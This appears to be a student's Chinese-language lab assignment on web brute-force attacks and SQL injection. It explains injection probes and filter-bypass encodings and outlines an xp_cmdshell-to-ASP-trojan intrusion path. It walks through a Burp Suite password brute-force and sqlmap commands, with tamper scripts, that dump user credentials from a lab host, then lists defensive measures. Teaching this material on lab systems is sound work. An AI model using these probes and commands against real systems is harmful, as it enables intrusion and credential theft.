《Web暴力破解及SQL注入》作業
課程名稱:《Web安全(二)》 |
|||||||||||||||||||||||||||||||||||||||||
作業內容:
|
|||||||||||||||||||||||||||||||||||||||||
【要求】
|
|||||||||||||||||||||||||||||||||||||||||
【SQL注入漏洞概述】 |
|||||||||||||||||||||||||||||||||||||||||
SQL注入攻擊是黑客對數據庫進行攻擊的常用手段之一。隨着B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。 SQL注入攻擊屬於數據庫安全攻擊手段之一,可以通過數據庫安全防護技術實現有效防護,數據庫安全防護技術包括:數據庫漏掃、數據庫加密、數據庫防火牆、數據脫敏、數據庫安全審計系統。 SQL注入攻擊會導致的數據庫安全風險包括:刷庫、拖庫、撞庫。 SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問
沒什麼區別,所以市面的防火牆都不會對SQL注入發出警報,如果管理員沒查看ⅡS日誌的習慣,可能被入侵很長時間都不會發覺。但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況,需要構造巧妙的SQL語句,從而成功獲取想要的數據. 總體思路·發現SQL注入位置; ·判斷後臺數據庫類型; ·確定XP_CMDSHELL可執行情況 ·發現WEB虛擬目錄 ·上傳ASP木馬; ·得到管理員權限; 一般來說,SQL注入一般存在於形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等帶有參數 SQL注入攻擊 的ASP動態網頁中,有時一個動態網頁中可能只有一個參數,有時可能有N個參數,有時是整型參數,有時是字符串型參數,不能一概而論。總之只要是帶有參數的動態網頁且此網頁訪問了數據庫,那麼就有可能存在SQL注入。如果ASP程序員沒有安全意識,不進行必要的字符過濾,存在SQL注入的可能性就非常大。 爲了全面瞭解動態網頁回答的信息,首選請調整IE的配置。把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。 爲了把問題說明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY爲例進行分析,YY可能是整型,也有可能是字符串。 ⒈整型參數的判斷 當輸入的參數YY爲整型時,通常abc.asp中SQL語句原貌大致如下: select * from 表名 where 字段=YY,所以可以用以下步驟測試SQL注入是否存在。 ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一單引號),此時abc.ASP中SQL語句變成了 select * from 表名 where 字段=YY’,abc.asp運行異常; webSQL注入攻擊分析統計 ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1,abc.asp運行正常,而且與HTTP://xxx.xxx.xxx/abc.asp?p=YY運行結果相同; ③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2,abc.asp運行異常; ⒉字符串型參數的判斷 當輸入的參數YY爲字符串時,通常abc.asp中SQL語句原貌大致如下: select * from 表名 where 字段='YY',所以可以用以下步驟測試SQL注入是否存在。 ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一個單引號),此時abc.ASP中的SQL語句變成了 select * from 表名 where 字段=YY’,abc.asp運行異常; ②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1',abc.asp運行正常,而且與HTTP://xxx.xxx.xxx/abc.asp?p=YY運行結果相同; ③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2',abc.asp運行異常; 如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。 ⒊特殊情況的處理 有時ASP程序員會在程序員過濾掉單引號等字符,以防止SQL注入。此時可以用以下幾種方法試一試。 ①大小定混合法:由於VBS並不區分大小寫,而程序員在過濾時通常要麼全部過濾大寫字符串,要麼全部過濾小寫字符串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等; ②UNICODE法:在ⅡS中,以UNICODE字符集實現國際化,我們完全可以IE中輸入的字符串化成UNICODE字符串進行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一; ③ASCⅡ碼法:可以把輸入的部分或全部字符全部用ASCⅡ碼代替,如U=chr(85),a=chr(97)等.
|
|||||||||||||||||||||||||||||||||||||||||
【信息收集】 |
|||||||||||||||||||||||||||||||||||||||||
二、測試工具
|
|||||||||||||||||||||||||||||||||||||||||
【Web暴力破解實現過程】 |
|||||||||||||||||||||||||||||||||||||||||
使用小軒字典生成器生成密碼字典,前三位abc,後三位爲數字
生成用戶名和密碼兩個字典
2使用burpsuite 對密碼進行爆破 首先對登錄頁面進行抓包 抓包結果如下
添加爆破點
導入字典文件
開始持續爆破
3.得到密碼 後三位爲:123
|
|||||||||||||||||||||||||||||||||||||||||
【SQL注入實現過程】 |
|||||||||||||||||||||||||||||||||||||||||
一 .example 1
指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs 結果如下:
3.進入exerciss數據庫,查看錶項 指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D exercises --tables 4.查看user表的字段名: 指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D exercises -T users –columns
5.獲取name以及passwd的數據內容: 指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D exercises -T users -C name,passwd –dump
二.example 2 1.查找數據庫 指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs --tamper=space2comment.py 因爲該數據庫有防火牆來過濾空格,所以添加了繞過防火牆的腳本指令: --tamper=space2comment.py 結果如下: 2.進入exercises數據庫,查看錶項 指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs --tamper=space2comment.py -D exercises --tables 查找到user表項
指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs --tamper=space2comment.py -D exercises -T users –columns 結果如下:
指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs --tamper=space2comment.py -D exercises -T users -C name,passwd –dump 結果如下:
三.example 3 1.查看數據庫 指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs --tamper=space2comment 結果:
指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs --tamper=space2comment -D exercises –tables
結果:
3.查詢users數據表項的字段名 指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs --tamper=space2comment -D exercises -T users --columns
結果如下:
4.查詢name和passwd數據項內容 指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs --tamper=space2comment -D exercises -T users -C name,passwd –dump 結果:
本次sql注入實驗結束 |
|||||||||||||||||||||||||||||||||||||||||
【SQL注入漏洞防護措施】 |
|||||||||||||||||||||||||||||||||||||||||
1)在構造動態SQL語句時,一定要使用類安全(type-safe)的參數加碼機制。大多數的數據API,包括ADO和ADO. NET,有這樣的支持,允許指定所提供的參數的確切類型(譬如,字符串,整數,日期等),可以保證這些參數被恰當地escaped/encoded了,來避免黑客利用它們。一定要從始到終地使用這些特性。 例如,在ADO. NET裏對動態SQL,可以象下面這樣重寫上述的語句,使之安全: Dim SSN as String = Request.QueryString(“SSN”) Dim cmd As new SqlCommand(“SELECT au_lname,au_fname FROM authors WHERE au_id = @au_id”) Dim param = new SqlParameter(“au_id”,SqlDbType.VarChar) param.Value = SSN cmd.Parameters.Add(param) 這將防止有人試圖偷偷注入另外的SQL表達式(因爲ADO. NET知道對au_id的字符串值進行加碼),以及避免其他數據問題(譬如不正確地轉換數值類型等)。注意,VS 2005內置的TableAdapter/DataSet設計器自動使用這個機制,ASP. NET 2.0數據源控件也是如此。 一個常見的錯誤知覺(misperception)是,假如使用了存儲過程或ORM,就完全不受SQL注入攻擊之害了。這是不正確的,還是需要謹慎確定在給存儲過程傳遞數據時,或在用ORM來定製一個查詢時,你的做法是安全的。 2)在部署應用前,始終要做安全審評(security review)。建立一個正式的安全過程(formal security process),在每次更新時,對所有的編碼做審評。後面一點特別重要。曾經多次聽說開發隊伍在正式上線(going live)前會做很詳細的安全審評,然後在幾周或幾個月之後他們做一些很小的更新時,他們會跳過安全審評這關,說,“就是一個小小的更新,我們以後再做編碼審評好了”。請始終堅持做安全審評。 3) 千萬別把敏感性數據在數據庫裏以明文存放。個人的意見是,密碼應該總是在單向(one-way)hashed過後再存放,不喜歡將它們在加密後存放。在默認設置下,ASP. NET 2.0 Membership API 自動爲你這麼做,還同時實現了安全的SALT 隨機化行爲(SALT randomization behavior)。如果決定建立自己的成員數據庫,建議查看一下我們在這裏發表的我們自己的Membership provider的源碼。同時也確定對你的數據庫裏的信用卡和其他的私有數據進行了加密。這樣即使你的數據庫被人入侵(compromised)了的話,起碼你的客戶的私有數據不會被人利用。 4)確認編寫了自動化的單元測試,來特別校驗你的數據訪問層和應用程序不受SQL注入攻擊。這麼做是非常重要的,有助於捕捉住(catch)“就是一個小小的更新,所有不會有安全問題”的情形帶來的疏忽,來提供額外的安全層以避免偶然地引進壞的安全缺陷到你的應用裏去。 5)鎖定你的數據庫的安全,只給訪問數據庫的web應用功能所需的最低的權限。如果web應用不需要訪問某些表,那麼確認它沒有訪問這些表的權限。如果web應用只需要只讀的權限從你的account payables表來生成報表,那麼確認你禁止它對此表的 insert/update/delete 的權限。 6)很多新手從網上下載SQL通用防注入系統的程序,在需要防範注入的頁面頭部用 來防止別人進行手動注入測試。 可是如果通過SQL注入分析器就可輕鬆跳過防注入系統並自動分析其注入點。然後只需要幾分鐘,你的管理員賬號及密碼就會被分析出來。 7)對於注入分析器的防範,筆者通過實驗,發現了一種簡單有效的防範方法。首先我們要知道SQL注入分析器是如何工作的。在操作過程中,發現軟件並不是衝着“admin”管理員賬號去的,而是衝着權限(如flag=1)去的。這樣一來,無論你的管理員賬號怎麼變都無法逃過檢測。 第三步:既然無法逃過檢測,那我們就做兩個賬號,一個是普通的管理員賬號,一個是防止注入的賬號,爲什麼這麼說呢?筆者想,如果找一個權限最大的賬號製造假象,吸引軟件的檢測,而這個賬號裏的內容是大於千字以上的中文字符,就會迫使軟件對這個賬號進行分析的時候進入全負荷狀態甚至資源耗盡而死機。 下面是修改數據庫的操作 ⒈對錶結構進行修改。將管理員的賬號字段的數據類型進行修改,文本型改成最大字段255(其實也夠了,如果還想做得再大點,可以選擇備註型),密碼的字段也進行相同設置。 ⒉對錶進行修改。設置管理員權限的賬號放在ID1,並輸入大量中文字符(最好大於100個字)。 ⒊把真正的管理員密碼放在ID2後的任何一個位置(如放在ID549上)。 由於SQL注入攻擊針對的是應用開發過程中的編程不嚴密,因而對於絕大多數防火牆來說,這種攻擊是“合法”的。問題的解決只有依賴於完善編程。專門針對SQL注入攻擊的工具較少,Wpoison對於用asp,php進行的開發有一定幫助…。
|
教程下載地址:https://download.csdn.net/download/qq_38162763/10594287
end